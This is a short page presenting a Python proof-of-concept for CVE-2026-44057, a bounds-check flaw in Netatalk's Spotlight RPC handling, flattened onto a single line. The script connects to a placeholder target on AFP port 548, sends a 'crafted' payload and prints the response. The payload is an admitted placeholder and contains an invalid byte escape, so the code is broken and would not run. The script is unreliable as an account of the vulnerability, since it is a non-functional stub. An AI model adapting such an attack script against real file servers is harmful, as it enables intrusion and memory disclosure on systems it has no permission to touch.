CVE-2026-44057 Netatalk Spotlight RPC边界检查失效漏洞

import socket # PoC for CVE-2026-44057: Netatalk Spotlight RPC Unmarshaller Dead Bounds Check # Description: This script demonstrates sending a crafted Spotlight RPC request # to trigger the unreachable bounds check and potentially leak memory. # Note: Actual exploitation requires authentication and specific protocol knowledge. target_ip = "TARGET_IP" target_port = 548 # Default AFP port # Crafted RPC payload simulating the vulnerability trigger # The specific bytes here are illustrative; actual exploitation requires reversing the struct. payload = b"\x00\x04\xaf\xpo..." # Placeholder for malformed structure try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) # Assuming AFP session establishment is done prior... s.send(payload) response = s.recv(1024) print("Response received:", response) s.close() except Exception as e: print(f"Error: {e}")